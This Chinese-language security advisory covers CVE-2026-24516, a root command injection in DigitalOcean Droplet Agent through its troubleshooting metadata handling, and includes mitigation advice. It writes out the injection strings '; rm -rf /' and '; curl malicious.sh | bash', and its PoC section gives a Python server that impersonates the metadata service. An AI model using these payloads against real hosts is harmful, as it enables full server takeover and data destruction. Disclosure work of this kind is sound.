IPBUF安全漏洞报告
English
CVE-2026-24516 CVSS 8.8 高危

CVE-2026-24516 DigitalOcean Droplet Agent 命令注入漏洞

披露日期: 2026-03-23

漏洞信息

漏洞编号
CVE-2026-24516
漏洞类型
命令注入
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
DigitalOcean Droplet Agent

相关标签

命令注入RCEDigitalOceanDroplet Agent云安全

漏洞概述

DigitalOcean Droplet Agent 至 1.3.2 版本存在高危命令注入漏洞。该漏洞源于故障排除组件在处理元数据服务返回的命令时缺乏有效的输入清洗。攻击者可通过发送特制 TCP 数据包触发代理请求受控的元数据,进而注入任意操作系统命令。由于代理以 Root 权限运行,此漏洞可导致服务器被完全控制,造成严重的数据泄露和系统破坏风险。

技术细节

漏洞核心位于 `internal/troubleshooting/actioner/actioner.go` 文件中。当 Droplet Agent 检测到 SSH 端口收到特定序列号的 TCP 包时,会从 `169.254.169.254` 拉取配置。代码逻辑仅检查 `TroubleshootingAgent.Requesting` 数组中的伪影是否在白名单 `validInvestigationArtifacts` 中,却完全忽略了对“command:”字段后具体指令的过滤。随后,`internal/troubleshooting/command/exec.go` 直接调用系统执行函数处理该未经过滤的字符串。攻击者只需伪造元数据服务的响应,在 JSON 中注入如 `; rm -rf /` 或 `; curl malicious.sh | bash` 等命令,即可绕过校验并以 Root 身份执行任意代码,实现对云主机的完全接管。

攻击链分析

STEP 1
触发探测
攻击者向目标 Droplet 的 SSH 端口发送包含特定序列号的 TCP 数据包。
STEP 2
请求元数据
Droplet Agent 检测到触发信号,主动向元数据服务端点 (169.254.169.254) 请求配置文件。
STEP 3
注入载荷
攻击者通过控制网络响应(如 ARP 欺骗或控制元数据服务),返回包含恶意命令的 JSON 数据。
STEP 4
解析与执行
Agent 解析 JSON,仅验证伪影合法性,直接将 'command' 字段内容传递给系统执行接口。
STEP 5
获取权限
恶意命令以 Root 权限执行,攻击者获得服务器完全控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import json from http.server import HTTPServer, BaseHTTPRequestHandler # Malicious payload structure targeting the vulnerability # The agent validates the 'artifact' key but fails to sanitize the 'command' key. payload = { "TroubleshootingAgent": { "Requesting": [ { # This artifact must be present in the validInvestigationArtifacts map "artifact": "kernel_logs", # The command injection occurs here. The agent executes this directly. # Using a semicolon to chain commands. "command": "cat /var/log/syslog; echo 'CVE-2026-24516 POC' > /tmp/pwned.txt" } ] } } class MetadataServer(BaseHTTPRequestHandler): """Simulates a malicious metadata service.""" def do_GET(self): if self.path == '/metadata/v1.json': self.send_response(200) self.send_header('Content-type', 'application/json') self.end_headers() self.wfile.write(json.dumps(payload).encode()) print("[+] Sent malicious payload to Droplet Agent") else: self.send_response(404) if __name__ == '__main__': # In a real attack, the attacker would need to spoof 169.254.169.254 # or intercept the traffic. This server is for demonstration. server = HTTPServer(('0.0.0.0', 80), MetadataServer) print("[*] Malicious Metadata Server running...") server.serve_forever()

影响范围

DigitalOcean Droplet Agent <= 1.3.2

防御指南

临时缓解措施
建议立即升级官方修复版本。如暂时无法升级,可在主机防火墙(如 iptables)中阻断对 169.254.169.254 的出站连接,或停止 Droplet Agent 服务以阻断攻击面,直至补丁应用完毕。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表